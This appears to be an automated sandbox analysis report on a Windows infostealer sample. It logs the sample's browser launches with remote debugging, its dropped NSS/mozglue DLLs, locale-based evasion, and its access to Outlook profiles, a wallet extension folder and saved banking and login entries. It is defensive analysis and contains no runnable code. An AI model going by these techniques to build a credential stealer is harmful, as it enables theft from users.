Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7184 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7216 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2268,i,15294783422747119345,5635415483272853884,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2200,i,4606429550156952016,8987385730594920496,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6924 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7184 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7216 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2593670616.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2593670616.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0078A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0078A090

Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0079B335 push ecx; ret

0_2_0079B348

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00799F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00799F20

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-65618

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 6.7 %

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007940F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_007940F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0078E530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0078BE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00794B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00794B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00781710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00781710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0078F7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0078DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0078EE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0078DF10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00793B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00793B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007947C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_007947C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00798060 GetSystemInfo,wsprintfA,

0_2_00798060

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
